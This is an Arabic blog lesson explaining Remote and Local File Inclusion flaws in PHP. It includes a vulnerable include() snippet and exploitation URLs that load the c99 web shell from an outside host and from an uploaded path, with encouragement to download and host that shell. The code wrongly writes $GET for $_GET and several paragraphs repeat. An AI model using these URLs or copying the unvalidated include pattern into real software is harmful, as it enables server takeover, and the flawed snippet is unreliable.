توجد العديد من الثغرات على مواقع الويب وفي هذا المدونة سنشرح جميع ثغرات الويب ولكن سنبدأ
بالأكثر انتشارا لبناء مواقع ويب خالية من الثغرات وقد تكلمنا في درس سابق عن
ثغرات XSS
بالتفصيل
واليوم سنتكلم عن ثغرات File Include.
اقرأ ايضاً: بحث في امن المعلومات و التهديدات الأمنية والهجمات الالكترونية والحماية منها؟
النوع الاول : Remote File Inclusion : يتم تضمين الملف من مصدر خارجي مثلا من موقع او سيرفر آخر.
النوع الثاني : Local File Inclusion : يتم تضمين ملف موجود على سيرفر الويب تم رفعة مسبقا.
هذه الثغرات شائعة على لغة PHP لذلك سنتحدث بشكل برمجي عن سبب وجودها في لغة PHP توجد متغيرات خارجية (External variables) مثل GET , POST , COOKIE.
ثغرات File Include :
هي نوع من الثغرات الشائعة الموجودة على مواقع الويب وبشكل خاص في المواقع المصممة بواسطة انظمة ادارةالمحتوى مثل وردبرس و جوملا ، والتي تمكن الهاكر من تضمين او رفع ملف على سيرفر الويب وهذا الملف يدعى شل (Shell) ويقوم بتنفيذه على السيرفر والذي من خلاله يستطيع التحكم بالسيرفر والموقع بشكل كامل .اسباب حدوث هذه الثغرة File Include :
تحدث هذه الثغرة لعدة اسباب والتي اهمها عدم التحقق من مدخلات المستخدم (Input Validation).اقرأ ايضاً: بحث في امن المعلومات و التهديدات الأمنية والهجمات الالكترونية والحماية منها؟
انواع ثغرات File Include :
النوع الاول : Remote File Inclusion : يتم تضمين الملف من مصدر خارجي مثلا من موقع او سيرفر آخر.
النوع الثاني : Local File Inclusion : يتم تضمين ملف موجود على سيرفر الويب تم رفعة مسبقا.
هذه الثغرات شائعة على لغة PHP لذلك سنتحدث بشكل برمجي عن سبب وجودها في لغة PHP توجد متغيرات خارجية (External variables) مثل GET , POST , COOKIE.
وهذه المتغيرات عندما تستقبل بيانات وتقوم بتمرير البيانات الى احدى دوال تضمين الملفات (include OR require)
بدون التحقق من البيانات المدخلة هنا يتم استغلال الثغرة، بواسطة تمرير كود خطر بدلا من القيمة الحقيقة وبذلك يكون تم اختراق موقك.
مثال على ذلك :
هذا كود بسيط بلغة php مصاب بالثغرة ، عمل هذا الكود لتحديد ستايل او تنسيق الواجهة لنفترض ان امتداد هذا الملف WWW.example.com/gui.php
<?php
if(isset($GET['style']))
{
include($GET['style'].'.php');
}
?>
<form method='get'>
<select name='style'>
<option value='blue'> BLUE </option>
<option value='green'> GREEN </option>
<option value='red'> RED </option>
</select>
<input type='submit' value='submit'>
</form>
استغلال الثغرة :
رابط استغلال الثغرة في النوع الاول Remote File Inclusion سيكون بالشكل الاتي :
http://WWW.example.com/gui.php?style=http://www.hacking.com/c99.txt?
طبعا هذا شكل الرابط في المتصفح مكان الرابط URL حيث الملف
c99.txt
من اخطر ملفات الشل يمكنكم البحث عنه وتنزيله ، طبعا اذا اردت استغلال الثغرة عليك
بتنزيل الملف ورفعه على احد الاستضافات واستدعاءه مباشره كما اشرنا سابقا ، ويوجد ايضا انواع كثيرة من الشل يمكنك البحث عنها.
رابط استغلال الثغرة في النوع الثاني Local File Inclusion سيكون بالشكل الاتي :
http://WWW.example.com/gui.php?style=C:\\ftp\\uploads\c99.txt
طبعا هذا الملف حمل مسبقا الى السيرفر وتم استدعائه من خلال العملية السابقة.
كيف تحمي موقعك من ثغرة File Include :
اقرأ ايضا: اهم الأدوات على نظام كالي لينكس لإختبار إختراق مواقع الويبطبعا الحل الوحيد لحماية موقعك من هذه الثغرة هو الفلترة والتحقق من المدخلات قبل استخدامها وتوجد دوال عديدة في لغة php لهذا الأمر وسنتكلم عنها في درس لاحق.
اهم الأدوات على نظام كالي لينكس لإختبار إختراق مواقع الويب
افضل 8 ادوات لاختبار اختراق الشبكات اللاسلكية واي فاي على الكالي لينكس
اهم لغات البرمجة المستخدمة في الهكر
تعلم صناعة الفيروسات بواسطة برمجة الملفات الدفعية
الى هنا انتهى الدرس وان شاء الله يكون اعجبكم الدرس والى درس جديد بإذن الله.